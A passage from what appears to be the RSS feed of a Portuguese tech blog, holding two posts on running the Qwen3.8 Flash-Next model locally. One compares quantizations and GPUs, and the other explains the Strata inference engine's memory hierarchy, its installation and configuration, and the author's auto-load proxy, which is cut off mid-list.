    <a href="#o-que-cada-vers%c3%a3o-mostrou" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><h3>Q2_0: a recomendação atual<span class="hx:absolute hx:-mt-20" id="q2_0-a-recomendação-atual"></span>
    <a href="#q2_0-a-recomenda%c3%a7%c3%a3o-atual" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Foi a quantização que gerou tokens mais rápido nas três combinações de máquina e engine, e terminou as seis rodadas difíceis com nota máxima. No prefill longo do Strata na 5090, o IQ3_S ganhou por uma margem mínima. Com Basalt, o Q2_0 chegou a 400 tokens por segundo. No Strix, 55 a 65 tokens por segundo é utilizável, embora o prefill longo cobre quase dois minutos antes da primeira resposta.</p>
<p>Eu usaria esta versão no dia a dia e guardaria a ressalva de contexto. Projeto grande, sessão chegando em 100K ou comportamento estranho? Repito o mesmo trabalho em IQ3_S antes de culpar o modelo.</p>
<h3>IQ3_XXS: ficou sem função clara<span class="hx:absolute hx:-mt-20" id="iq3_xxs-ficou-sem-função-clara"></span>
    <a href="#iq3_xxs-ficou-sem-fun%c3%a7%c3%a3o-clara" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Passou no canário simples e foi rápida, só que perdeu pro Q2_0 em velocidade e ocupa mais espaço. Eu não rodei as três repetições do teste difícil nela, então não tenho dado pra prometer uma vantagem de qualidade.</p>
<h3>IQ3_S: a opção conservadora<span class="hx:absolute hx:-mt-20" id="iq3_s-a-opção-conservadora"></span>
    <a href="#iq3_s-a-op%c3%a7%c3%a3o-conservadora" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Continua sendo a versão que eu escolheria pra validar um resultado suspeito da Q2_0. Ela já tinha feito 91 no benchmark v4 na 5090, a apenas 1,5 ponto da versão NVFP4 na B300. No Basalt, ficou entre 223 e 231 tokens por segundo, praticamente a faixa que o Q2_0 alcançava no Strata, e ainda leu prompts mais rápido.</p>
<p>O próprio Basalt mede a proximidade das quantizações contra Q8_0. No teste de 100 chunks, o IQ3_S manteve o mesmo token no topo em 87,16% das posições. É uma régua diferente dos meus canários, mas reforça seu papel de opção conservadora. Nos meus testes de código, essa precisão extra ainda não encontrou nada que o Q2_0 tivesse perdido.</p>
<h3>UD-Q4_K_XL: qualidade que não cabe não serve<span class="hx:absolute hx:-mt-20" id="ud-q4_k_xl-qualidade-que-não-cabe-não-serve"></span>
    <a href="#ud-q4_k_xl-qualidade-que-n%c3%a3o-cabe-n%c3%a3o-serve" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Era a candidata intuitiva a entregar mais fidelidade. Faltou memória pra chegar ao teste que confirmaria isso. Na 5090, caiu pra menos de um quarto da velocidade da Q2_0 e o sistema matou a rodada. No Strix, a máquina travou.</p>
<p>Serve como lembrança de que a maior quantização compatível no papel pode ser a pior configuração real. Um MoE depende do espaço que sobra pra especialistas, KV cache, buffers e o próprio sistema operacional.</p>
<h2>Qual hardware vale a pena?<span class="hx:absolute hx:-mt-20" id="qual-hardware-vale-a-pena"></span>
    <a href="#qual-hardware-vale-a-pena" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><h3>RTX 3090 e 4090: boas se você já tem<span class="hx:absolute hx:-mt-20" id="rtx-3090-e-4090-boas-se-você-já-tem"></span>
    <a href="#rtx-3090-e-4090-boas-se-voc%c3%aa-j%c3%a1-tem" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>As duas têm 24 GB, e isso limita o cache de especialistas. O gpu-unlock melhora prefill em workloads que usam o caminho liberado, mas decode continua preso em memória e offload. Uma 3090 usada, principalmente duas com NVLink, pode formar uma máquina local interessante. Eu não compraria uma 4090 nova hoje só pra isso: continua com 24 GB, custa caro e o unlock de Ada ainda é experimental.</p>
<p>Pra ambas, começaria pelo <strong>Qwen3.8 Flash-Next Q2_0</strong> e mediria meu workload. Os aproximadamente 100 tokens por segundo publicados pela comunidade numa única 3090 já colocam a placa numa faixa prática. Duas 3090 aumentam a capacidade e podem ficar entre 90 e 120 tokens por segundo, mas não dobram automaticamente a velocidade. A conta inclui consumo, calor, fonte e pelo menos 128 GB de RAM.</p>
<h3>Strix Halo: muita capacidade, pouca banda<span class="hx:absolute hx:-mt-20" id="strix-halo-muita-capacidade-pouca-banda"></span>
    <a href="#strix-halo-muita-capacidade-pouca-banda" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>É uma boa caixa headless, compacta e econômica. A memória unificada deixa rodar modelos que uma GPU de 24 ou 32 GB recusaria. Neste teste, o melhor modelo também foi o <strong>Q2_0</strong>, a 55 a 65 tokens por segundo.</p>
<p>O problema aparece toda vez que o agente lê contexto grande. Quase dois minutos pra processar a carga longa do teste acumulam rápido durante uma sessão. Eu usaria como servidor privado pra tarefas assíncronas, agentes simples e workloads onde capacidade vale mais que resposta imediata.</p>
<h3>RTX 5090: o melhor ponto caseiro hoje<span class="hx:absolute hx:-mt-20" id="rtx-5090-o-melhor-ponto-caseiro-hoje"></span>
    <a href="#rtx-5090-o-melhor-ponto-caseiro-hoje" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>A <a href="https://www.nvidia.com/en-us/geforce/graphics-cards/50-series/rtx-5090/"target="_blank" rel="noopener">RTX 5090</a> tem 32 GB, 21.760 CUDA cores e a mesma banda nominal de 1.792 GB/s da RTX PRO 6000. O que falta é capacidade: preciso reservar 4 GiB pro desktop e usar RAM e SSD pros especialistas que não cabem.</p>
<p>Com Strata, ela colocou o Q2_0 em 223 a 259 tokens por segundo e leu a carga longa a 6.158 tokens por segundo. Com Basalt, chegou a 400 e 8.573, respectivamente. É a primeira configuração local que não me faz sentir que estou esperando a máquina a cada passo. E é uma placa que também serve pra jogos, geração de imagem, vídeo e todo o resto da workstation.</p>
<h3>RTX PRO 6000: três vezes a VRAM, preço de servidor<span class="hx:absolute hx:-mt-20" id="rtx-pro-6000-três-vezes-a-vram-preço-de-servidor"></span>
    <a href="#rtx-pro-6000-tr%c3%aas-vezes-a-vram-pre%c3%a7o-de-servidor" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>A <a href="https://www.nvidia.com/en-us/products/workstations/professional-desktop-gpus/rtx-pro-6000/"target="_blank" rel="noopener">RTX PRO 6000 Blackwell</a> tem 96 GB de GDDR7 ECC, 24.064 CUDA cores e os mesmos 1.792 GB/s de banda. A capacidade extra deixa muito mais especialistas residentes, abre espaço pra quantização maior e comporta contexto sem disputar os últimos gigabytes com o desktop.</p>
<p>Ela custa <a href="https://marketplace.nvidia.com/en-us/enterprise/laptops-workstations/nvidia-rtx-pro-6000-blackwell-workstation-edition/"target="_blank" rel="noopener">US$ 16 mil na loja da NVIDIA</a>, oito vezes o preço sugerido de US$ 1.999 da 5090. Eu ainda não rodei este benchmark nela, então não vou inventar uma velocidade. A banda igual à 5090 significa que três vezes a memória não viram três vezes mais tokens por segundo. O ganho está em manter mais coisa na placa e evitar o caminho lento de RAM e PCIe.</p>
<p>Pra uso individual, a conta da 5090 fecha melhor. A PRO 6000 começa a fazer sentido quando 96 GB resolvem um modelo que você realmente precisa, quando ECC e suporte profissional importam ou quando várias sessões vão dividir a mesma placa.</p>
<h2>O veredito<span class="hx:absolute hx:-mt-20" id="o-veredito"></span>
    <a href="#o-veredito" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><table>
  <thead>
      <tr>
          <th>Hardware</th>
          <th>Melhor escolha hoje</th>
          <th>Experiência</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>1x RTX 3090/4090, 24 GB</td>
          <td>Qwen3.8 Flash-Next Q2_0</td>
          <td>Viável com offload; confira prefill e decode no seu stack</td>
      </tr>
      <tr>
          <td>Strix Halo</td>
          <td>Qwen3.8 Flash-Next Q2_0</td>
          <td>55 a 65 tok/s; prompt longo demora</td>
      </tr>
      <tr>
          <td>RTX 5090</td>
          <td><strong>Qwen3.8 Flash-Next Q2_0 no Basalt</strong></td>
          <td>377 a 400 tok/s; melhor equilíbrio que medi</td>
      </tr>
      <tr>
          <td>RTX PRO 6000</td>
          <td>Provavelmente IQ3_S ou maior</td>
          <td>Capacidade excelente, sem medição minha nesta rodada</td>
      </tr>
  </tbody>
</table>
<p>O open source local finalmente entrou numa faixa prática. Uma única 5090 roda um modelo que fez Tier A no meu benchmark v4 e, com Q2_0 no Basalt, chegou a 400 tokens por segundo no canário. O Strix também ficou muito melhor do que os 7,7 tokens por segundo do Qwen denso que eu tinha testado antes.</p>
<p>Ainda existem limites claros. O contexto custa memória, o desktop precisa da mesma VRAM e qualquer especialista fora da placa atravessa PCIe ou cai na RAM. DeepSeek a 17 tokens por segundo mostra que “rodou” continua sendo uma métrica inútil. Se cada iteração leva várias horas, a qualidade do modelo deixa de importar porque ninguém consegue trabalhar desse jeito.</p>
<blockquote>
  <p>Pra hardware caseiro, o melhor modelo é o que mantém qualidade suficiente na velocidade que deixa você iterar. Nesta rodada, foi o Qwen3.8 Flash-Next Q2_0 no Basalt, numa RTX 5090.</p>

</blockquote>
<p>O <a href="https://github.com/akitaonrails/llm-opensource-benchmark"target="_blank" rel="noopener">repositório do benchmark</a> tem os runners, configurações, resultados brutos e testes escondidos. Repita na sua máquina e mande resultados. Hardware, engine, quantização e contexto mudam a resposta. Ranking pronto serve como ponto de partida; a decisão final continua sendo medida no seu trabalho.</p>
]]></content:encoded><category>benchmarks-de-llm</category><category>modelos-locais</category><category>llms</category><category>hardware</category></item><item><title>Melhor LLM Open Source: Strata com Qwen 3.8 Flash Next</title><link>https://www.akitaonrails.com/2026/10/22/melhor-llm-open-source-strata-com-qwen-3-8-flash-next/</link><guid isPermaLink="true">https://www.akitaonrails.com/2026/10/22/melhor-llm-open-source-strata-com-qwen-3-8-flash-next/</guid><pubDate>Thu, 22 Oct 2026 11:45:00 -0300</pubDate><description>&lt;p&gt;O Strata apareceu em quase todo artigo da reta final do benchmark v4. No de &lt;a href="https://www.akitaonrails.com/2026/10/22/llm-benchmark-v4-open-source-nivel-consumidor-rtx5090-strix-halo-strata/"&gt;open source nível consumidor&lt;/a&gt; ele foi o protagonista; no de &lt;a href="https://www.akitaonrails.com/2026/10/22/llm-benchmark-v4-can-my-team-fit-in-a-4x-b300-h200/"&gt;quanto custa um time em B300 e H200&lt;/a&gt; o modelo que ele serve virou a recomendação pra DGX Spark; e no &lt;a href="https://www.akitaonrails.com/2026/10/22/llm-benchmark-v4-o-veredito-de-open-source-ate-out-2026/"&gt;veredito do v4&lt;/a&gt; ele é a única resposta séria pra quem quer rodar modelo bom em casa.&lt;/p&gt;
&lt;p&gt;O resultado, resumido: o &lt;strong&gt;Qwen3.8 Flash-Next&lt;/strong&gt; servido pelo Strata numa RTX 5090 fez &lt;strong&gt;91, Tier A&lt;/strong&gt;, com zero nudges e os 14 defeitos plantados resolvidos (dois só depois da revelação), a 1,5 ponto do mesmo modelo rodando numa B300 de datacenter. E fez isso a uns 159 tokens por segundo.&lt;/p&gt;</description><content:encoded><![CDATA[<p>O Strata apareceu em quase todo artigo da reta final do benchmark v4. No de <a href="/2026/10/22/llm-benchmark-v4-open-source-nivel-consumidor-rtx5090-strix-halo-strata/">open source nível consumidor</a> ele foi o protagonista; no de <a href="/2026/10/22/llm-benchmark-v4-can-my-team-fit-in-a-4x-b300-h200/">quanto custa um time em B300 e H200</a> o modelo que ele serve virou a recomendação pra DGX Spark; e no <a href="/2026/10/22/llm-benchmark-v4-o-veredito-de-open-source-ate-out-2026/">veredito do v4</a> ele é a única resposta séria pra quem quer rodar modelo bom em casa.</p>
<p>O resultado, resumido: o <strong>Qwen3.8 Flash-Next</strong> servido pelo Strata numa RTX 5090 fez <strong>91, Tier A</strong>, com zero nudges e os 14 defeitos plantados resolvidos (dois só depois da revelação), a 1,5 ponto do mesmo modelo rodando numa B300 de datacenter. E fez isso a uns 159 tokens por segundo.</p>
<p>Neste artigo eu detalho o que é o Strata, por que ele importa justo agora, o que ele não resolve, e como eu deixei ele rodando no dia a dia, com carga e descarga automática e integrado no OpenCode.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20261022121453_strata-qwen-flash-next-opencode.png" alt="O OpenCode rodando o Qwen3.8 Flash-Next pelo Strata na RTX 5090, entre 129,9 e 153,1 tokens por segundo"  loading="lazy" /></p>
<h2>O que é o Strata<span class="hx:absolute hx:-mt-20" id="o-que-é-o-strata"></span>
    <a href="#o-que-%c3%a9-o-strata" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>O <a href="https://github.com/Niko1221/Strata"target="_blank" rel="noopener">Strata</a> é um motor de inferência open source, licença MIT, feito em torno de um modelo: o Qwen3.8 Flash-Next, um MoE de 125 bilhões de parâmetros com 6 bilhões ativos por token, que normalmente pede servidor. O código é C++ e CUDA, reaproveita partes do llama.cpp/ggml, e tem builds pra NVIDIA, AMD (inclusive Strix Halo), Intel Arc e Mac. Ele sobe uma API compatível com OpenAI e com Anthropic em localhost.</p>
<p>O truque é tratar o PC inteiro como uma hierarquia de memória. O modelo tem 24.576 especialistas, 512 em cada uma das 48 camadas, e cada token usa só 10 por camada, mais um especialista compartilhado:</p>
<ul>
<li>a <strong>VRAM</strong> guarda os especialistas mais usados, como um cache;</li>
<li>a <strong>RAM</strong> guarda todos, e quando o token precisa de um que não está na placa, o processador calcula ele ali mesmo, enquanto a placa trabalha nos outros;</li>
<li>o <strong>SSD</strong> guarda uma tabela de consulta de uns 29 GB, da qual o modelo lê poucas linhas por token.</li>
</ul>
<p>Em cima disso, uma cabeça de especulação que vem com o próprio modelo chuta os próximos tokens e o modelo grande confere todos de uma vez. O README promete a mesma resposta 1,6 a 1,8 vez mais rápido.</p>
<p>Na minha 5090, o log mostra como isso fica na prática. Os 32 GB de VRAM seguram de 10 a 11,5 mil especialistas em uns 20 a 22 GiB, quase metade do total, e <strong>em geral de 90% a 97% dos especialistas que cada token pede já estão na placa</strong>. O resto a CPU calcula direto na RAM, e só uma fração pequena é copiada pra placa pelo barramento PCIe. É por isso que a CPU também trabalha pesado, como dá pra ver mais abaixo.</p>
<h2>Por que isso importa agora<span class="hx:absolute hx:-mt-20" id="por-que-isso-importa-agora"></span>
    <a href="#por-que-isso-importa-agora" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Porque memória virou artigo de luxo. Em 2026 o preço de contrato da DRAM <a href="https://www.trendforce.com/presscenter/news/20260601-13070.html"target="_blank" rel="noopener">quase dobrou num único trimestre</a>, os fabricantes <a href="https://www.trendforce.com/presscenter/news/20260930-13258.html"target="_blank" rel="noopener">continuam priorizando servidor</a>, e a Micron <a href="https://www.storagenewsletter.com/2025/12/05/micron-announces-exit-from-crucial-consumer-business/"target="_blank" rel="noopener">largou o mercado consumidor</a> pra atender os clientes grandes. A própria RTX 5090, quando aparece, custa de duas vezes e meia a quase cinco vezes o preço sugerido, como eu contei no <a href="/2026/10/22/llm-benchmark-v4-o-veredito-de-open-source-ate-out-2026/">veredito</a>.</p>
<p>Nesse cenário, a forma tradicional de rodar um modelo Tier A em casa, com o modelo inteiro dentro da VRAM, é inviável. O Flash-Next em NVFP4 ocupou uns 100 GB de placa na B300; em casa ninguém tem isso.</p>
<blockquote>
  <p>O Strata inverte a premissa: em vez de exigir VRAM pro modelo inteiro, ele usa a VRAM como cache e a RAM como estoque. É o que permite um modelo Tier A rodar com uma fração da memória de vídeo que ele pediria.</p>

</blockquote>
<h2>Não é mágica<span class="hx:absolute hx:-mt-20" id="não-é-mágica"></span>
    <a href="#n%c3%a3o-%c3%a9-m%c3%a1gica" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>O Strata faz caber, mas não faz milagre. O mínimo declarado é <strong>32 GB somando RAM e VRAM</strong>, mas com isso roda só a versão mais comprimida; a IQ3_S que fez os 91 pede uns 64 GB de RAM. Some <strong>uns 80 GB de disco</strong>, de preferência SSD, e uma placa de 12 GB pra cima no caminho oficial. Abaixo disso até sobe, tem relato com placa de 8 GB, mas a uns 15 tokens por segundo.</p>
<h3>Banda de memória é o que define a velocidade<span class="hx:absolute hx:-mt-20" id="banda-de-memória-é-o-que-define-a-velocidade"></span>
    <a href="#banda-de-mem%c3%b3ria-%c3%a9-o-que-define-a-velocidade" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Na geração de token, o gargalo de máquina local quase nunca é o cálculo. É quantos bytes por segundo a memória consegue entregar pros núcleos, porque cada token precisa ler os pesos ativos do modelo. E aí a diferença entre os tipos de memória é brutal:</p>
<table>
  <thead>
      <tr>
          <th>Memória</th>
          <th style="text-align: right">Banda aproximada</th>
          <th style="text-align: right">Contra a 5090</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>VRAM GDDR7 da RTX 5090</td>
          <td style="text-align: right">~1,8 TB/s</td>
          <td style="text-align: right">1x</td>
      </tr>
      <tr>
          <td>Memória unificada LPDDR5X do Strix Halo</td>
          <td style="text-align: right">~256 GB/s</td>
          <td style="text-align: right">7 vezes mais lenta</td>
      </tr>
      <tr>
          <td>RAM DDR5 de desktop, dois canais</td>
          <td style="text-align: right">~60 a 100 GB/s</td>
          <td style="text-align: right">18 a 30 vezes mais lenta</td>
      </tr>
      <tr>
          <td>Barramento PCIe 5.0 x16</td>
          <td style="text-align: right">~64 GB/s por sentido</td>
          <td style="text-align: right">quase 30 vezes mais lento</td>
      </tr>
      <tr>
          <td>PCIe medido pelo Strata na minha máquina (placa em x8)</td>
          <td style="text-align: right">~29 GB/s</td>
          <td style="text-align: right">uns 60 vezes mais lento</td>
      </tr>
  </tbody>
</table>
<p>A última linha é da minha máquina: a placa está rodando com 8 linhas de PCIe em vez de 16, e o Strata mede isso na inicialização. Mais um motivo pra o cache na VRAM ser tão importante.</p>
<p>O Strix Halo tem 128 GB e cabe muito mais coisa que uma 5090, mas cada byte chega sete vezes mais devagar. Foi isso que eu medi no benchmark: o Qwen 3.8 27B denso em Q8 lê uns 29 GB por token, e na Strix o teto teórico fica perto de 9 tokens por segundo. Eu medi 7,7. A mesma conta na banda da 5090 daria uns 60, sete vezes mais, se o modelo coubesse com o contexto.</p>
<p>É por isso que o desenho do Strata funciona: o caminho quente fica na GDDR7, e o que falta no cache é calculado pela CPU na DDR5, ou atravessa o PCIe, os dois dezenas de vezes mais lentos. Com mais de 90% de acerto no cache, o pouco que fica de fora não derruba a velocidade. Numa placa pequena, o cache cobre menos, mais especialistas vão pela estrada lenta, e a velocidade cai: o próprio autor publica 53 tokens por segundo numa RTX 5070 de 12 GB, um terço da minha 5090.</p>
<h3>PC batata não roda<span class="hx:absolute hx:-mt-20" id="pc-batata-não-roda"></span>
    <a href="#pc-batata-n%c3%a3o-roda" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Então esqueça notebook com GPU integrada e 16 GB de RAM. Sem uma placa dedicada razoável, sem 32 GB somando RAM e VRAM e sem SSD, o modelo não sobe, ou sobe e anda na velocidade da RAM, que é a de uma carroça.</p>
<p>E tem o custo de entrada que não aparece na velocidade de geração: o Strata lê a primeira mensagem de cada conversa inteira, e o README fala em <a href="https://github.com/Niko1221/Strata#good-to-know"target="_blank" rel="noopener">uns 60 segundos a cada 30 mil tokens</a> como regra geral. Na minha 5090 é bem mais rápido, uns 100 mil tokens em 16 a 20 segundos, mas numa placa menor conte com o número do README. Agente de código manda prompt de sistema grande, então a primeira resposta de cada sessão demora mais que as seguintes.</p>
<h3>Pesado até na minha 5090<span class="hx:absolute hx:-mt-20" id="pesado-até-na-minha-5090"></span>
    <a href="#pesado-at%c3%a9-na-minha-5090" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Minha máquina não é fraca: Ryzen 9 7950X3D, 96 GB de RAM (o sistema enxerga uns 92), RTX 5090 de 32 GB. Mesmo assim, o Flash-Next ocupa tudo:</p>
<ul>
<li>na carga, ele joga uns 50 GB de especialistas na RAM, a uns 3 GB por segundo com o SSD frio, e enche o cache da placa com mais de 20 GiB;</li>
<li>com tudo carregado, sobram menos de 800 MB de VRAM livre;</li>
<li>com o servidor de pé, a máquina fica com 88 dos 92 GB de RAM ocupados, e o sistema começa a usar swap.</li>
</ul>
<p>Este é o btop no meio de uma sessão de trabalho com o OpenCode. O processo do Strata sozinho segura 54 GB de RAM e metade da CPU, com metade das 32 threads do 7950X3D cravadas em 100% e o resto acima de 50%. A 5090 está a 99% de uso, com 30 dos 32 GB de VRAM ocupados e puxando 351 W. Sobram 4 GB de RAM disponíveis, e já tem quase 48 GB em swap.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20261022122545_strata-btop-7950x3d-5090.png" alt="O btop durante uma sessão com o Strata: RAM a 96%, swap pela metade, metade da CPU em 100% e o resto acima de 50%, e a RTX 5090 a 99% com 30 de 32 GB de VRAM"  loading="lazy" /></p>
<p>O efeito colateral aparece no resto do sistema. Com a VRAM no limite, o lançador de aplicativos do meu desktop e o terminal num monitor secundário pararam de abrir direito, e outros programas ficam lentos. A solução foi mandar o Strata devolver uns 2,5 GB de VRAM pro desktop, com a opção <code>--vram-elastic</code>, ao custo de um cache um pouco menor.</p>
<blockquote>
  <p>Com tudo isso, eu acredito firmemente que a minha máquina é o mínimo pra usar um LLM local em trabalho de programação de verdade, além de exercício pequeno. Com menos que isso, conte com velocidade bem menor, contexto mais curto e o PC inteiro sofrendo enquanto o modelo está carregado.</p>

</blockquote>
<h2>Como instalar<span class="hx:absolute hx:-mt-20" id="como-instalar"></span>
    <a href="#como-instalar" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>O caminho oficial no Linux e no Mac é o instalador de uma linha. Ele verifica o SHA-256, não pede root e instala na sua pasta pessoal. Como todo <code>curl | sh</code>, vale baixar e ler antes:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">curl -fsSL https://github.com/Niko1221/Strata/releases/latest/download/install.sh -o install.sh
</span></span><span class="line"><span class="cl">less install.sh
</span></span><span class="line"><span class="cl">sh install.sh</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Depois, o <code>strata launch</code> pergunta modelo, contexto e acesso, baixa o motor certo pra sua placa e o modelo, e começa a servir. Pra scripts, tudo vai por flag:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">strata launch                                <span class="c1"># telas guiadas</span>
</span></span><span class="line"><span class="cl">strata launch --model &lt;variante&gt; --yes --no-tui   <span class="c1"># sem perguntas</span>
</span></span><span class="line"><span class="cl">strata launch --status                       <span class="c1"># o que está servindo</span>
</span></span><span class="line"><span class="cl">strata launch --stop                         <span class="c1"># parar</span>
</span></span><span class="line"><span class="cl">strata monitor --url http://127.0.0.1:8080   <span class="c1"># velocidade, GPU, memória</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Eu usei a variante <strong>IQ3_S</strong>, a que fez os 91 no benchmark. No disco ela ocupa uns 84 GB em dois arquivos (o modelo de 55 GB e a tabela de consulta de 29 GB), mais uns 7 GB da cabeça de especulação.</p>
<p>A configuração que o <code>strata launch</code> gera é um JSON com os argumentos do motor. Os que importam na minha:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-json" data-lang="json"><span class="line"><span class="cl"><span class="s2">&#34;args&#34;</span><span class="err">:</span> <span class="p">[</span>
</span></span><span class="line"><span class="cl">  <span class="s2">&#34;--expert-cache&#34;</span><span class="p">,</span> <span class="s2">&#34;auto&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="s2">&#34;--prefill&#34;</span><span class="p">,</span> <span class="s2">&#34;auto&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="s2">&#34;--spec&#34;</span><span class="p">,</span> <span class="s2">&#34;4&#34;</span><span class="p">,</span> <span class="s2">&#34;--spec-min-p&#34;</span><span class="p">,</span> <span class="s2">&#34;0.5&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="s2">&#34;--mtp&#34;</span><span class="p">,</span> <span class="s2">&#34;/mnt/data/strata-models/mtp/rt&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="s2">&#34;--max-context&#34;</span><span class="p">,</span> <span class="s2">&#34;262144&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="s2">&#34;--kv&#34;</span><span class="p">,</span> <span class="s2">&#34;int8&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="s2">&#34;--kv-resident&#34;</span><span class="p">,</span> <span class="s2">&#34;32768&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="s2">&#34;--vram-elastic&#34;</span>
</span></span><span class="line"><span class="cl"><span class="p">]</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>O <code>--spec 4</code> liga a especulação com uma janela de 4 tokens por passo, até 3 chutados pela cabeça de especulação; o <code>--kv int8</code> guarda o cache de atenção em 8 bits; o <code>--kv-resident</code> deixa só 32 mil posições do cache de contexto, as mais lidas, na VRAM; e o <code>--vram-elastic</code> permite devolver VRAM pro desktop com o servidor rodando.</p>
<h3>De 128 mil pra 256 mil tokens de contexto<span class="hx:absolute hx:-mt-20" id="de-128-mil-pra-256-mil-tokens-de-contexto"></span>
    <a href="#de-128-mil-pra-256-mil-tokens-de-contexto" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>O benchmark rodou com 128 mil tokens de contexto, que é o que a instalação configurou por padrão. Depois eu subi pra 256 mil, com <code>--max-context 262144</code>, e a perda foi pequena: nos logs do servidor, a geração ficou na média de uns 190 tokens por segundo numa sessão curta com 128 mil e de uns 175 com 256 mil, uns 10% mais lenta pelo dobro de contexto, um pouco mais com a VRAM devolvida pro desktop.</p>
<p>O que segura isso é o <code>--kv-resident</code>: só 32 mil posições do cache de atenção, as mais lidas, ficam na VRAM, o resto fica na RAM, e mesmo assim umas 97% das leituras desse cache acontecem na placa. A nota de 91 do benchmark foi medida com 128 mil; com 256 mil eu medi velocidade, e a qualidade ainda não foi re-testada.</p>
<p>Pra mim, 256 mil é o mínimo pra trabalho longo com agente. Com 128 mil, uma sessão de verdade estoura o contexto rápido, e o agente começa a compactar a memória toda hora. Isso fica irritante muito rápido, e cada compactação joga fora detalhe que o modelo vai precisar mais tarde.</p>
<blockquote>
  <p>Contexto curto é um problema escondido de modelo local. Antes de olhar tokens por segundo, veja quanto contexto você consegue servir sem a velocidade desabar.</p>

</blockquote>
<h2>Carregar e descarregar sozinho<span class="hx:absolute hx:-mt-20" id="carregar-e-descarregar-sozinho"></span>
    <a href="#carregar-e-descarregar-sozinho" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Deixar uns 50 GB de RAM e a placa inteira presos o dia todo, só pra ter o modelo pronto quando eu precisar, não faz sentido. Então montei um proxy pequeno, em Python puro, que fica sempre de pé na porta 8080 e controla o Strata:</p>
<ul>
<li>responde a lista de modelos sozinho, então o OpenCode enxerga o modelo sem acordar nada;</li>
<li>na primeira requisição de chat, sobe o Strata numa porta interna e espera ficar pronto, uns 40 segundos;</li>
<li>repassa as respostas em streaming;</li>
